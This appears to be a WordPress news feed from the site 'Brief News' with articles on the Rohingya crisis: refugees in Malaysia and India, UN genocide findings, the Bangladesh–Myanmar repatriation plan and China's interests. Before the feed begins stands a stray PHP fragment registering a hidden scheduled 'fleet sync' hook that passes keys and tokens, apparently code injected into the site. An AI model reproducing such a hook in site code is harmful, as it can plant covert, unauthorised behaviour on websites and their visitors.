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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Rohingya – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 10 Sep 2018 10:33:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Rohingya – Brief News https://briefnews.eu 32 32 He's Giving Displaced Rohingya a Voice — and a Wallet https://briefnews.eu/hes-giving-displaced-rohingya-a-voice-and-a-wallet/ https://briefnews.eu/hes-giving-displaced-rohingya-a-voice-and-a-wallet/#respond Mon, 10 Sep 2018 10:33:34 +0000 http://briefnews.eu/hes-giving-displaced-rohingya-a-voice-and-a-wallet/

Malaysia has become one of the most popular destinations for the Rohingya people driven from their homelands in Myanmar. They are often smuggled into Kuala Lumpur, where they arrive with hopes as high as the megacity’s glass-and-steel towers. Muhammad Noor knows all too well the bill of goods human traffickers have sold his brethren. They are told that the United Nations will resettle them in the United States or Europe and that while in a Muslim-majority country like Malaysia, they will be welcomed. “But,” Noor says, “the reality is quite different.”

Noor is one of the fortunate ones. Born and raised in Saudi Arabia after his family fled the Burmese state of Rakhine in the 1970s, he came to Malaysia 18 years ago and earned a degree in information technology as a systems analyst. His vocation now is to minister to the 150,000 Rohingya in Malaysia — and the millions beyond, who have been expelled from western Myanmar by government-backed forces. He’s building a network and preserving a cultural identity for what he calls a “forgotten people,” through digital innovation and old-fashioned broadcasting. With this week’s national elections marking a potential turning point in how Malaysia treats its refugees, Noor is focused not on politicking, but on giving his people a voice.

For a lot of people, blockchain is sexy right now. For us, it is about survival.

Muhammad Noor

“I want to make life easier for someone else,” Noor says at his office in Kuala Lumpur. For a man who has devoted his life to combating genocide and horror, he’s surprisingly affable, quick to smile and charming. At the offices of Rohingya Vision, a Rohingya-focused news network he started in 2010 with branches all over the world and broadcasts in English, Arabic and the Rohingya language, his desk is neat, but his office is littered with papers and books. A copy of Sapiens: A Brief History of Humankind, by Yuval Noah Harari, which he has just finished, peeks out from under a binder.

Noor calls Rohingya Vision “a way to put our nation back together.” With a population scattered across the planet and a concentrated effort to erase it, a satellite TV and online media source focused on the issues concerning the Rohingya and using their language is validating. Since the Myanmar government has restricted international journalists’ access to Rakhine state, Rohingya Vision relies on a network of citizens turned journalists inside Rakhine to get the word out. The reporting has a clear slant, and it’s proved controversial, with the Burmese government and its backers sometimes accusing Rohingya Vision of stretching the truth.

Another part of Noor’s unification effort is the blockchain-powered Rohingya Project, which Noor co-founded and leads as managing director. Utilizing Noor’s background in IT, the project acts as a grass-roots initiative to free Rohingya from the “limbo of statelessness” by building a secure and transparent virtual community via blockchain. Rohingya with a “digital ID” would be able to engage in financial transactions and escape the restrictive cash-only “dark economy,” allowing them to connect with other members of their 3.5 million-strong diaspora. According to Noor, blockchain has the power to give the Rohingya and other stateless peoples decentralized ownership of their identities, free from any traditional attempts to erase them. “For a lot of people, blockchain is sexy right now,” he says. “For us, it is about survival.”

Noor is also part of the team that has worked for 25 years to preserve and digitize the Rohingya language, which will be included in the 2018 unicode update, so computers worldwide can type in Rohingya at last. Saqib Sheikh, a Pakistani-American who only had a passing familiarity with the Rohingya issue before becoming part of Noor’s team last year, calls Noor a “visionary” who gave him “a much deeper understanding of the plight of the Rohingya and how they face an almost existential crisis as a people.”

Their struggles in Malaysia have become a political football. While charities and nongovernmental organizations help Rohingya refugees survive where they can, Noor says, Malaysia itself is not a signatory to the 1951 U.N. Refugee Convention. This means that Rohingya and other refugees have extremely limited options when it comes to basic necessities like education, health care or even finding a job.

Malaysian Prime Minister Najib Razak has given voice to the Rohingya’s plight on many occasions, including during a visit with President Donald Trump. Najib called for action on the Rohingya issue at a special summit of Southeast Asian nations while sharing a stage with Myanmar’s de facto leader, Aung San Suu Kyi — who refuses to even use the word Rohingya. But whether there is substance behind the rhetoric by a prime minister battling a massive corruption scandal is another question.

Take a look at the election manifestos released by the major Malaysian political parties: Najib’s own Barisan Nasional and the opposition coalition Pakatan Harapan. According to Melissa Wong, senior research analyst at Malaysia’s Centre for Public Policy Studies, PH has promised to make serious attempts at resolving the Rohingya crisis, including giving refugees the same right to work as any Malaysian. “PH has stated in the manifesto that allowing refugees to work will reduce Malaysia’s reliance on foreign workers and remove the risk of refugees being involved in criminal activity,” Wong says. PH also promises to ratify the 1951 Refugee Convention. “In contrast,” Wong says, “there has been no mention of refugees in Barisan Nasional’s manifesto.”

But when asked about the disconnect, Noor replies: “We are not in a position to criticize anybody.” The Rohingya are a people in “survival mode,” he says. While opposition voices say the Rohingya are being used as pawns in Najib’s political manipulations, “all [many Rohingya] know is that the PM of Malaysia is on TV talking about the issues, and they are extremely happy about that,” Noor says. Having survived atrocity after atrocity, the Rohingya are living on a knife’s edge, and Noor knows his people’s worries go far beyond one election.

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]]> https://briefnews.eu/hes-giving-displaced-rohingya-a-voice-and-a-wallet/feed/ 0 UN says Myanmar’s treatment of Rohingya Muslims has the ‘hallmarks of genocide’ https://briefnews.eu/un-says-myanmars-treatment-of-rohingya-muslims-has-the-hallmarks-of-genocide/ https://briefnews.eu/un-says-myanmars-treatment-of-rohingya-muslims-has-the-hallmarks-of-genocide/#respond Thu, 01 Feb 2018 09:17:26 +0000 http://briefnews.eu/un-says-myanmars-treatment-of-rohingya-muslims-has-the-hallmarks-of-genocide/ Photographers help a Rohingya refugee to come out of Naf River as they cross the Myanmar-Bangladesh border in Palong Khali, near Cox's Bazar, Bangladesh, November 1, 2017. REUTERS/Hannah McKayThomson Reuters

  • The U.N. special envoy on human rights in Myanmar said Thursday that the Myanmar military’s violent operations against Rohingya Muslims bear “the hallmarks of a genocide.”
  • Nearly 700,000 Rohingya have fled their villages into Bangladesh since the Myanmar military’s crackdown following Aug. 25 attacks by Rohingya insurgents.
  • An Associated Press report Thursday detailed a massacre and at least five mass graves in the Myanmar village.

SEOUL, South Korea (AP) — The U.N. special envoy on human rights in Myanmar said Thursday that the Myanmar military’s violent operations against Rohingya Muslims bear “the hallmarks of a genocide.”

Yanghee Lee told reporters in Seoul, where she is based, that she couldn’t make a definitive declaration about genocide until a credible international tribunal or court had weighed the evidence, but “we are seeing signs and it is building up to that.”

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]]> https://briefnews.eu/un-says-myanmars-treatment-of-rohingya-muslims-has-the-hallmarks-of-genocide/feed/ 0 Philippines Duterte tells Myanmar’s leader human rights activists are ‘just a noisy bunch’ amid Rohingya crisis https://briefnews.eu/philippines-duterte-tells-myanmars-leader-human-rights-activists-are-just-a-noisy-bunch-amid-rohingya-crisis/ https://briefnews.eu/philippines-duterte-tells-myanmars-leader-human-rights-activists-are-just-a-noisy-bunch-amid-rohingya-crisis/#respond Fri, 26 Jan 2018 11:01:56 +0000 http://briefnews.eu/philippines-duterte-tells-myanmars-leader-human-rights-activists-are-just-a-noisy-bunch-amid-rohingya-crisis/ monsoon bangladesh rohingyaPaula Bronstein/Getty

  • Philippine President Rodrigo Duterte dismissed human rights activists as “just a noisey bunch” in a conversation with Myanmar’s leader Aung San Suu Kyi, whose country is going through a crisis with 655,000 stateless Muslims fleeing to escape persecution.
  • Human rights groups also strongly condem Duterte’s drug war which has killed a suspected 3,900.

NEW DELHI (Reuters) – Philippine President Rodrigo Duterte told Myanmar leader Aung San Suu Kyi, heavily criticized abroad for failing to stand up for largely stateless Rohingya Muslims, that she shouldn’t bother about rights activists as they are “just a noisy bunch”.

Duterte said he made the remarks in a speech at the Philippines-India Business Forum in New Delhi where Duterte and Suu Kyi are attending a summit of Southeast Asian countries.

“We were talking about our country, the interest of our country … and I said ‘do not mind the human rights’ (activists), they are just a noisy bunch actually,” Duterte said.

Suu Kyi is facing international criticism for failing to address the plight of the Rohingya, more than 655,500 of whom have fled to Bangladesh to escape a crackdown by the Myanmar military.

Many people in Buddhist-majority Myanmar regard the Rohingya as illegal immigrants from Bangladesh. The United Nations described Myanmar’s crackdown as ethnic cleansing, which Myanmar denies.

“I pity her because she seems to be caught in the middle of being a Nobel Prize winner for peace and this is now the ruckus, she is heavily criticized,” Duterte said in his speech.

Human rights groups have also strongly criticized Duterte’s anti-narcotics campaign during which more than 3,900 suspected drug users and peddlers have been killed in what the police called self-defense after armed suspects resisted arrest.

Critics dispute that and say executions are taking place with zero accountability, allegations the police reject.

 

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]]> https://briefnews.eu/philippines-duterte-tells-myanmars-leader-human-rights-activists-are-just-a-noisy-bunch-amid-rohingya-crisis/feed/ 0 Why China sees Myanmar’s Rohingya crisis as an opportunity https://briefnews.eu/why-china-sees-myanmars-rohingya-crisis-as-an-opportunity/ https://briefnews.eu/why-china-sees-myanmars-rohingya-crisis-as-an-opportunity/#respond Sun, 21 Jan 2018 01:43:46 +0000 http://briefnews.eu/why-china-sees-myanmars-rohingya-crisis-as-an-opportunity/ Myanmar State Counsellor Aung San Suu Kyi (L) and Chinese Premier Xi Jinping (R) wait for Myanmar delegates to arrive for a meeting at the Diaoyutai State Guesthouse in Beijing, China, August 19, 2016. REUTERS/Rolex Dela Pena/PoolThomson Reuters

  • Myanmar’s government has been embroiled in battle of rhetoric over its alleged ethnic cleansing of Rohingya Muslims, but unlike the west, China sees an opportunity amid the affair.
  • For China, Myanmar’s crisis is a gateway for it to pursue similar economic and infrastructure strategies it has undertaken in Africa in order to extend its geopolitical reach.
  • Myanmar is part of a complex geopolitical maze in which China is but one player.

As the Myanmar government’s violent policy towards its Rohingya Muslims drew increasing international condemnation in 2016, the country’s sometime icon of democracy, Aung San Suu Kyi, declined to speak out for the persecuted minority. And in her attempts to protect Myanmar from renewed isolation, she has continued to deepen its relationship with her most powerful authoritarian neighbour: China. It seems the common notion that newly democratic states have little time for autocratic partners is false.

Before the West started paying real attention to the Rohingya crisis, Myanmar’s democratic transition was something of a cause celebre. But in reality, the country is still under military sway, and the democratic West is still less influential in Myanmar than China. Beijing’s interests are still a decisive economic influence in the country, which is clearly a potentially crucial partner in China’s gargantuan Belt and Road initiative.

To be sure, China is just one of Myanmar’s heavyweight international protectors, which also include Russia and India. These three countries all share certain urgent concerns, among them the threat of militant radical Islamism. Connections have been drawn between Rohingya militants and Pakistani extremist groups such as Jaish-e-Mohammed, this just as Beijing is increasing pressure on Pakistan to curb its support for fundamentalist groups that could threaten Chinese interests in Asia.

As it surveys this troubling map — which also includes an insurgency among the Uighur Muslims of China’s own Xinjiang province — Beijing views Myanmar’s crackdown not as a domestic problem for a junior partner, but as another front in a wider struggle for stability.

And just as Myanmar fits into that particular Chinese strategy, it also has a part to play in various others.

China’s multi-faceted geopolitical push

This is a style of geopolitical influence China is pursuing the world over. Its current foreign policy in Asia follows a similar pattern to its policies in Africa, which revolve heavily around infrastructure and development assistance as well as commodity extraction. It is still open to question whether these policies will benefit African states in the long term, but what cannot be denied is that China has had a significant impact on the continent in a comparatively short period of time.

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Many critics of China’s African policies point to Beijing’s support for authoritarian and violent regimes such as Sudan’s, which it backed during much of the Darfur massacre in the 2000s. And even democratic shifts in government do not necessarily turn African states away from Chinese influence.

After sweeping into power on a wave of anti-Chinese populism in 2011, Zambia’s late Michael Sata appeared to spell trouble for Chinese interests in his country. He even threatened to recognise Taiwan — a direct affront to Beijing, which regards Taiwan as a wayward province. But in the end, Sata did not act on his threats, instead endorsing his country’s Chinese ties.

What does this tell us about China’s approach to Myanmar and countries like it? As with the expectations of Myanmar’s transition to democracy, it is not always certain that a more democratic regime will turn away from Beijing. It seems China has become too powerful for most countries to ignore on principle.

This is only helped by Chinese foreign policy’s remarkable consistency. Besides pursuing the Belt and Road initiative, which extends across much of Asia and well into Europe, China is carefully cultivating cadres of friendly states in its “near abroad,” whether in the post-Soviet sphere or Southeast Asia.

This also explains China’s support for North Korea in the face of a war of words between Donald Trump and Kim Jong-un. While that policy has often been held up as an example of Beijing’s inability to control Pyongyang, it is equally an expression of China’s relative strength: as things stand, any Western moves to counter North Korea would be impossible without Beijing’s assistance.

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Then there’s the matter of the South China Sea. Once seen as an “American lake,” China now lays claim to the sea almost in its entirety, and not just for its own sake; as political theorist John Mearsheimer once argued in The Tragedy of Great Power Politics, aspiring superpowers often seek to dominate in their sphere of influence before becoming a global power.

So as far as China is concerned, the ongoing Rohingya crisis is just one of many developments in Asia where it has key interests at stake. It will not allow the world’s growing impatience and outrage at the Myanmar government’s behaviour to undermine what’s become a remarkably coherent foreign policy — not a mercenary venture, but a carefully planned great game.

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]]> https://briefnews.eu/why-china-sees-myanmars-rohingya-crisis-as-an-opportunity/feed/ 0 Bangladesh and Myanmar have agreed to resettle 650,000 displaced Rohingya Muslims within 2 years https://briefnews.eu/bangladesh-and-myanmar-have-agreed-to-resettle-650000-displaced-rohingya-muslims-within-2-years/ https://briefnews.eu/bangladesh-and-myanmar-have-agreed-to-resettle-650000-displaced-rohingya-muslims-within-2-years/#respond Tue, 16 Jan 2018 12:18:15 +0000 http://briefnews.eu/bangladesh-and-myanmar-have-agreed-to-resettle-650000-displaced-rohingya-muslims-within-2-years/ A Rohingya refugee woman who crossed the border from Myanmar cries while waiting to get a shelter in Kotupalang refugee camp near Cox's Bazar, Bangladesh October 21, 2017. REUTERS/ Zohra BensemraThomson Reuters

  • Bangladesh and Myanmar have agreed to complete the return of hundreds of thousands of Rohingya Muslims who fled a crackdown from Myanmar’s army into Bangladesh last year.
  • The UN has called Myanmar’s army crackdown a “textbook” example of ethnic cleansing, and over 650,000 Rohingya have fled.
  • The UN is now warning that Rohingya should only volunteer to return to Mynamar if they feel safe.

DHAKA/YANGON (Reuters) – Bangladesh and Myanmar agreed on Tuesday to complete within two years the return of hundreds of thousands of Rohingya Muslims who had fled an army crackdown last year in Myanmar.

The UN Refugee Agency, responding to the plan, raised a concern about forcibly repatriating over 650,000 Rohingya who fled to neighboring Bangladesh after a conflict erupted in western Rakhine state in August.

Statements from both the Myanmar and Bangladesh foreign ministries said Bangladesh would set up five transit camps on its side of the border. Those camps would send Rohingyas to two reception centers in Myanmar. The repatriation process would start next Tuesday, the statements said.

Myanmar said it would build a transit camp that can house 30,000 returnees.

The Bangladesh statement said “Myanmar has reiterated its commitment to stop (the) outflow of Myanmar residents to Bangladesh”.

Myanmar stressed the need for both sides to take preventive measures against possible Rohingya attacks and said it gave Dhaka a list with the names of 1,000 alleged militants.

The crisis erupted after Rohingya insurgent attacks on security posts on Aug. 25 in Rakhine triggered a fierce military response that the United Nations denounced as ethnic cleansing. Some 650,000 people fled the violence.

The military denies ethnic cleansing, saying its security forces had mounted legitimate counter-insurgency clearance operations.

The Bangladesh statement called for repatriating orphans and “children born out of unwarranted incidence”, a reference to cases of rape resulting in pregnancy, said a Bangladesh foreign ministry official who declined to be identified.

The rape of Rohingya women by Myanmar’s security forces was widespread, according to interviews with women conducted at displacement camps by U.N. medics and activists. The military denies it was involved in any sexual assaults.

Verification process

Rohingya Refugees MyanmarREUTERS/Jorge Silva

A spokesperson from the UN High Commission for Refugees (UNHCR) said on Tuesday the Rohingya should only return voluntarily when they feel it is safe to do so.

“Major challenges have to be overcome,” UNHCR spokesman Andrej Mahecic told a Geneva news briefing. “These include ensuring they are told about the situation in their areas of origin … and are consulted on their wishes, that their safety is ensured.”

Myanmar government spokesman Zaw Htay told Reuters last week the returnees could apply for citizenship “after they pass the verification process”.

Myint Kyaing, permanent secretary at Myanmar’s Ministry of Labour, Immigration and Population, told Reuters this month Myanmar would begin processing at least 150 people a day through each of the two camps by Jan. 23.

The meeting that concluded on Tuesday in Myanmar’s capital Naypyitaw was the first for a joint working group set up to hammer out the details of the November repatriation agreement.

Left out of the talks were the fears and concerns of the refugees themselves, “as if they are an inert mass of people who will go where and when they are told,” Phil Robertson, deputy Asia director at Human Rights Watch, told Reuters in an email.

“Where are considerations for protection of the Rohingya from Myanmar security forces who months ago were raping and killing them? How come the discussions ignore the deprivation of rights of people held in indefinite detention, which is what these so-called “temporary” accommodations may become?,” Robertson asked.

‘Living like prisoners’

Rohingya refugee children walk in Palong Khali camp, near Cox's Bazar, Bangladesh January 14, 2018. REUTERS/Tyrone SiuThomson Reuters

A group of refugees at the Kutupalong Rohingya camp near Cox’s Bazar in Bangladesh expressed doubt about the camps Myanmar has agreed to establish on its side of the border.

Mohammad Farouk, 20, who arrived in Bangladesh following the Aug. 25 attacks, said exchanging one camp for another made little difference – except “the camps in Myanmar will be far worse, because we will be confined there and there will be a risk to our lives.”

Another resident of the Kutupalong camp compared the new transit camps to ones set up near the Rakhine state capital of Sittwe following bouts of violence in previous years “where people are living like prisoners”.

“First, ask the military to give those Rohingya their homes and property back, then talk to us about returning,” said the Rohingya refugee who did not want to be identified.

Some said the kind of violence they witnessed toward their community in Myanmar made it hard for them to trust the military. “Even if I don’t get food or anything else here, at least there is safety. I won’t feel safe if I go back to Myanmar,” said Rashid Ahmed, 33.

Noor Alam, 37, who came to Kutupalong five months back, wondered if he could ever get a job in Myanmar. “They don’t even call us Rohingya. Until they consider us citizens we won’t go back.”

Some young men in the camp worried they might be arrested on accusations of terrorism if they returned to Myanmar.

Camp conditions in Bangladesh are dire enough, but more than 520,000 Rohingya children are at even greater risk ahead of the cyclone season that generally begins in April, the United Nations Children’s Fund said on Tuesday.

“Hundreds of thousands of children are already living in horrific conditions, and they will face an even greater risk of disease, flooding, landslides and further displacement,” said Edouard Beigbeder, UNICEF Representative in Bangladesh.

Nearly 1 million Rohingya live in Bangladesh, including those who came after previous displacements dating back to the 1990s.

 

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]]> https://briefnews.eu/bangladesh-and-myanmar-have-agreed-to-resettle-650000-displaced-rohingya-muslims-within-2-years/feed/ 0 Why This Rohingya Refugee Is Taking on India's Government https://briefnews.eu/why-this-rohingya-refugee-is-taking-on-indias-government/ https://briefnews.eu/why-this-rohingya-refugee-is-taking-on-indias-government/#respond Tue, 16 Jan 2018 07:15:12 +0000 http://briefnews.eu/why-this-rohingya-refugee-is-taking-on-indias-government/ It was night by the time the whispers reached Mohammad Yunus. The Tatmadaw, Myanmar’s military, had killed a group of men they had taken from Yunus’ Rohingya village earlier in the week. Now, they were returning with a fresh list, went the village rumor. And Yunus’ name was on it.

Yunus, his wife and their four children ran through that spring night in 2009. It was the start of a nine-month journey across the border into Bangladesh, through rivers and forests, a second national border and seven Indian states before they reached the northern Indian city of Jammu. There, they began a new life, poor — Yunus worked as a day laborer — but confident that the world’s largest democracy was at least a safe haven.

This is a country that treats even birds and animals well. And we’re human.

Mohammad Yunus

Now, their faith is being tested, and Yunus finds himself at the center of a national debate that many Indians believe goes to the core of the country’s identity. For centuries, India has opened its doors to refugees fleeing persecution. Followers of the Zoroastrian religion in the 8th century and the Baha’i faith a millennium later relocated to India after being targeted in what is now Iran. At least 5,000 Jews fleeing the Holocaust found a home in India. The Dalai Lama escaped there on a donkey after China’s crackdown on Tibet in 1959. More than 10 million refugees from what was then East Pakistan came to the land of Mahatma Gandhi in 1971, during Bangladesh’s war of liberation against Pakistan. Sri Lankan Tamils and Afghan refugees fled the ravages of war to India through the 1980s and 1990s.

But the Hindu-nationalist government of Prime Minister Narendra Modi has ordered the deportation of the more than 40,000 Rohingya refugees living in India, citing intelligence warnings of a security threat to justify the expulsion. That order has been challenged at the country’s Supreme Court, and the petitioner holding up a mirror to India? Yunus, a stateless man.

“This is a country that treats even birds and animals well,” Yunus tells OZY. “And we’re human.”

The 42-year-old’s salt-and-pepper beard and weary face belie his age. But Yunus doesn’t lack for spunk. Rohingya Muslims — most of whom have yet to receive Myanmar citizenship despite evidence that the community has lived there for well over a century — started trickling into India at the end of the last decade, after the first wave of clashes with Myanmar’s Buddhist majority. But the brutal violence against Rohingya Muslims this year, which U.N. High Commissioner for Human Rights Zeid bin Ra’ad al-Hussein has called “textbook ethnic cleansing,” sparked an exodus. A majority of the more than 700,000 refugees who fled Myanmar in 2017 have stayed in Bangladesh, but a fraction entered India. Many came to Jammu, where a Rohingya settlement had formed. That’s when Hunar Gupta, a lawyer belonging to Modi’s Bharatiya Janata Party (BJP), filed a petition in the High Court of the state — Jammu and Kashmir — in February seeking to expel the Rohingyas. Yunus heard on the radio that Gupta’s petition had triggered a broader debate, with experts divided on whether India could deport the Rohingyas. He decided to fight back, and teamed up with Colin Gonsalves, one of India’s best-known human rights lawyers.

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Gupta points out that the Rohingya refugees are staying in India illegally, and the government therefore has a right to deport them. That’s the central argument that the Modi government has adopted, in its order that followed Gupta’s petition. The government has also claimed evidence of links between some Rohingya refugees and terrorist outfits. Gupta argues that the geography of Jammu, where most Rohingya refugees are based, makes even the slightest security risk something the government cannot ignore (the city lies close to India’s de facto border with Pakistan, its archenemy). He denies charges of religious discrimination because the Rohingyas are Muslims, a community the BJP has long had a strained relationship with, though he makes clear that he views all Rohingya refugees as a threat. “Unlike the past refugees who came to India, these people are not our friends,” he says.

But two Indian High Courts and the Supreme Court have indicated that India is bound by a fundamental principle of international law called non-refoulement, which bars the deportation of refugees if their lives are under threat in their country of origin. None of the past sets of refugees who have made India their home came “legally,” with visas. And Yunus and his lawyers insist not one Rohingya refugee faces actual charges of associating with terror groups — and the government has so far not detailed the evidence it claims to have. “Let them point out one case related to national security,” says Yunus.

Yunus’ battle, says Gonsalves, will have implications for all refugees in India and, more broadly, for the country and the values it cherishes. “This is about the soul of this country,” says Gonsalves.

Back in Jammu, though, it’s about survival. Earlier this year, hoardings emerged across the city exhorting its residents to hunt out and expel the refugees from the region. And in the squalid slum that the city’s Rohingyas call their home, Yunus says many have quietly started leaving their mud huts — heading to other cities like Delhi and Hyderabad in search of anonymity, if not asylum.

But Yunus says he is determined to not slink away, and that he retains hope in the Indian judiciary. “I’ll be shot dead if I go back to Myanmar,” he says. “Here, I can at least fight.”

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]]> https://briefnews.eu/why-this-rohingya-refugee-is-taking-on-indias-government/feed/ 0 Myanmar’s president calls for rewrite of military-drafted constitution, fair treatment for minorities amid Rohingya crisis https://briefnews.eu/myanmars-president-calls-for-rewrite-of-military-drafted-constitution-fair-treatment-for-minorities-amid-rohingya-crisis/ https://briefnews.eu/myanmars-president-calls-for-rewrite-of-military-drafted-constitution-fair-treatment-for-minorities-amid-rohingya-crisis/#respond Thu, 04 Jan 2018 08:50:54 +0000 http://briefnews.eu/myanmars-president-calls-for-rewrite-of-military-drafted-constitution-fair-treatment-for-minorities-amid-rohingya-crisis/ Myanmar's President Htin Kyaw looks down as he leaves a joint press conference with Japan's Prime Minister Shinzo Abe (unseen) at the Prime Minister's official residence in Tokyo, Japan December 14, 2017. REUTERS/Franck Robichon/PoolThomson Reuters

  • Myanmar’s president called for a reform to the country’s military-drafted constitution and justice for recognized minorities as over half a million Muslims in the country’s Rakhine state have been pushed out by the military.
  • In Myanmar, the President’s post is largely ceremonial, and the military holds much more political power.
  • Some say the military has used its political power to jail journalists and control the narrative around what the UN described as ethnic cleansing of the country’s Muslim population.

YANGON (Reuters) – Myanmar’s civilian president called in an Independence Day speech on Thursday for reform of a military-drafted constitution and for justice for all recognized minorities under a federal system, but made no mention of the treatment of its Rohingya Muslim people.

Amending the charter to remove a dominant political role for the military has been one of the most contentious issues facing Myanmar as it emerges from nearly half a century of strict army rule.

The debate over constitutional reform, however, has been muted since the assassination in January last year of a lawyer advising government leader Aung San Suu Kyi’s ruling party on the issue.

“As we build the Democratic Federal Republic, in accordance with the results of the political dialogues, we all need to work collectively for creating a suitable constitution,” President Htin Kyaw said in his speech marking the 70th anniversary of Myanmar’s independence from Britain.

Htin Kyaw’s post is largely ceremonial but he is a close ally of Suu Kyi. He did not elaborate on what he meant by suitable or spell out why he was suggesting the 2008 constitution drawn up by the military was unsuitable.

The constitution bars Suu Kyi from becoming president because it rules out candidates with a foreign spouse or child. Suu Kyi’s late husband was British as are her two sons.

It also reserves for the military one quarter of the seats in parliament and several major cabinet posts, including defense, interior and border affairs, giving it an effective veto over constitutional change and control of security affairs.

Myanmar began emerging from 49 years of military rule in 2011. Suu Kyi’s party swept a 2015 election and formed a government but concern is growing that the reform program is stalling or even sliding back.

This has been compounded by attacks on press freedom, including the detention of several journalists over the past year. On Dec. 12, the authorities arrested two Reuters reporters who had covered the army crackdown that has led to the mass flight of Rohingya residents of Rakhine State across the border into Bangladesh.

Htin Kyaw called for respect for human rights but he did not refer to the crisis over the exodus of 655,000 Rohingya people, nor to the international condemnation it has generated.

“We are working for the emergence of a democratic state based on the principles of freedom for all ethnic national races, justice, equality and right of self-determination,” he said.

“National race” is a term used by Myanmar referring to what it categorizes as indigenous ethnic groups. The Rohingya, who have traditionally lived in Rakhine, have been denied inclusion as authorities regard them as illegal immigrants who have crossed over from Bangladesh.

End to conflict

Photographers help a Rohingya refugee to come out of Naf River as they cross the Myanmar-Bangladesh border in Palong Khali, near Cox's Bazar, Bangladesh, November 1, 2017. REUTERS/Hannah McKayThomson Reuters

The Rohingya crisis erupted in late August after Rohingya insurgent attacks on security posts in Rakhine triggered a fierce military response that the United Nations denounced as ethnic cleansing.

Myanmar denies ethnic cleansing saying its security forces have mounted legitimate clearance operations.

Htin Kyaw called for an end to conflict with insurgents from various ethnic minorities who have been battling for autonomy for decades.

Clashes have flared in recent weeks between the army and guerrillas in Kachin and Shan states in the north.

Myanmar’s minorities have long demanded self-determination under a federal system. The army has traditionally seen itself as the only institution preventing the country’s disintegration and has favored a unitary state.

Amending the constitution would not be easy.

Changes require a 76 percent majority vote in a parliament dominated by military members and their allies.

The killing of lawyer and constitutional expert Ko Ni last year has not been fully explained even though the gunman was caught at the scene.

Many activists believe Ko Ni, who was Muslim, was targeted for his efforts to reduce the military’s political role.

 

(Editing by Simon Cameron-Moore)

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]]> https://briefnews.eu/myanmars-president-calls-for-rewrite-of-military-drafted-constitution-fair-treatment-for-minorities-amid-rohingya-crisis/feed/ 0 Facebook Posts Aren’t Going to Help the Rohingya Refugees https://briefnews.eu/facebook-posts-arent-going-to-help-the-rohingya-refugees/ https://briefnews.eu/facebook-posts-arent-going-to-help-the-rohingya-refugees/#respond Thu, 09 Nov 2017 14:50:33 +0000 http://briefnews.eu/facebook-posts-arent-going-to-help-the-rohingya-refugees/ Opinion: Calls for help on social media are well-intentioned but counterproductive.


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]]> https://briefnews.eu/facebook-posts-arent-going-to-help-the-rohingya-refugees/feed/ 0 Rohingya refugees trampled to death by wild elephants in Bangladesh (PHOTO) https://briefnews.eu/rohingya-refugees-trampled-to-death-by-wild-elephants-in-bangladesh-photo/ https://briefnews.eu/rohingya-refugees-trampled-to-death-by-wild-elephants-in-bangladesh-photo/#respond Sat, 14 Oct 2017 16:10:14 +0000 http://briefnews.eu/rohingya-refugees-trampled-to-death-by-wild-elephants-in-bangladesh-photo/ Four Rohingya refugees were killed after a group of up to eight elephants tore through an area of forest land in southern Bangladesh.

The victims, a woman and three children, were building a makeshift shelter at the Balukhali camp in Cox’s Bazar district, according to local police.

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Two other people were also injured in what is now the second fatal attacked by wild elephants in the area. A two-year-old boy and an elderly man were trampled to death while sleeping in their shelter last month.

According to the International Union for Conservation of Nature, Cox’s Bazar is home to 78 of Bangladesh’s 268 wild elephants, and the site of eight designated routes through which they roam.

Following the latest deaths, IOM Bangladesh, the UN migration agency in the country, tweeted an aerial image of an elephant spotted during site surveying.

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As the Burmese military forces hundreds of thousands of Rohingya Muslims into Bangladesh, the latter’s government has been forced to clear 3,000 acres of forest in the region to make way for temporary shelters and camps. As of October 7, 519,000 refugees have arrived in Bangladesh, according to IOM.

Speaking to the Dhaka Tribune, AHM Raihan Sarkar, an associate professor at Chitagong University’s Forest and Environmental Science Institute, said that felled trees confuse the elephants, causing them to wander close to human settlements.

“If their paths are blocked, the elephants will be forced to venture into uncharted territory. It also causes a behavioral change,” he said.

A district forest official at Cox’s Bazar told AFP that incidents involving animals and refugees were “inevitable” as camps have been set up in areas where elephants have been roaming for centuries.

“The is a reserve forest land, frequented by wild Asian elephants all the time,” he said, speaking on condition of anonymity.

On Friday, Aung San Suu Kyi, the de-facto Burmese leader, announced plans to set up an agency to help resettle Rohingya Muslims in the country’s westernmost Rakhine state. Suu Kyi, a Nobel laureate, has been criticized after failing to denounce the brutal crackdown on the Rohingya by the Burmese military forces.  

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]]> https://briefnews.eu/rohingya-refugees-trampled-to-death-by-wild-elephants-in-bangladesh-photo/feed/ 0 One heartbreaking photo shows the depth of the crisis facing Rohingya refugees https://briefnews.eu/one-heartbreaking-photo-shows-the-depth-of-the-crisis-facing-rohingya-refugees/ https://briefnews.eu/one-heartbreaking-photo-shows-the-depth-of-the-crisis-facing-rohingya-refugees/#respond Wed, 11 Oct 2017 11:39:17 +0000 http://briefnews.eu/one-heartbreaking-photo-shows-the-depth-of-the-crisis-facing-rohingya-refugees/ A photographer in Bangladesh has captured the heartbreak of Rohingya Muslim refugees fleeing Myanmar.

The image shows an unnamed father crying and clinging to his son’s body. The two had just crossed the border-defining Naf river, which has been the scene of dozens of drownings in the last two months.

 

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Indranil Mukherjee, who shoots for AFP, took the photo but hasn’t released any further details.

The anonymity of the shot is reminiscent of Alan Kurdi, the three-year old Syrian boy who drowned and washed up on a Turkish beach in September 2015.

It was an image that moved the world.

This latest photo was taken the day after a separate incident where 12 refugees, including five children, drowned on Sunday night near the southern tip of Bangladesh. Their boat had been carrying between 60 and 100 people and was crossing the Bay of Bengal when it capsized.

Since a military crackdown began on August 25, more than 500,000 Rohingya Muslims have fled northern Myanmar and 143 have drowned while trying to cross into Bangladesh. The UN has deemed Myanmar’s actions as “ethnic cleansing.”

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